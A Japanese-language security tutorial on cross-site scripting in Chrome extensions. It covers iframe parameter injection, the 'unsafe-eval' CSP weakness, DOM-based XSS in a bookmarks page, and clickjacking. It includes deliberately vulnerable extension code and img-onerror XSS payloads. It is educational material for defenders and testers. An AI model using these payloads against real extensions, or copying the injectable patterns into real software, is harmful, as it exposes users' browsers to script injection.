Iframeを通じたクロスサイトスクリプティング(XSS)
このセットアップでは、コンテンツスクリプトが実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
公開アクセス可能なHTMLページ、**message.html
**は、URLのパラメータに基づいてドキュメントボディにコンテンツを動的に追加するように設計されています:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
悪意のあるスクリプトが敵のページで実行され、Iframeのソースのcontent
パラメータが変更されてXSSペイロードが導入されます。これは、Iframeのソースを更新して有害なスクリプトを含めることで達成されます:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
過度に許可されたコンテンツセキュリティポリシーは次のようになります:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にします。
XSSを引き起こす別のアプローチは、IFrame要素を作成し、そのソースをcontent
パラメータとして有害なスクリプトを含むように設定することです:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOMベースのXSS + ClickJacking
この例は、元の投稿の要約から取られました。
コアの問題は、**/html/bookmarks.html
にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から生じます。問題のあるJavaScriptは、bookmarks.js
**の一部で、以下に詳述されています:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
このスニペットは、txtName
入力フィールドから 値 を取得し、文字列連結を使用してHTMLを生成し、それをjQueryの .append()
関数を使用してDOMに追加します。
通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、‘unsafe-eval’によるCSPの緩和と、jQueryのDOM操作メソッドの使用(これらはDOM挿入時にスクリプトを eval()
に渡すために globalEval()
を使用します)により、悪用は依然として可能です。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な web_accessible_resources
ポリシーを示しています:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
特に、/html/bookmarks.html
ページはフレーミングに対して脆弱であり、したがってclickjackingに対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを欺くように再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。
参考文献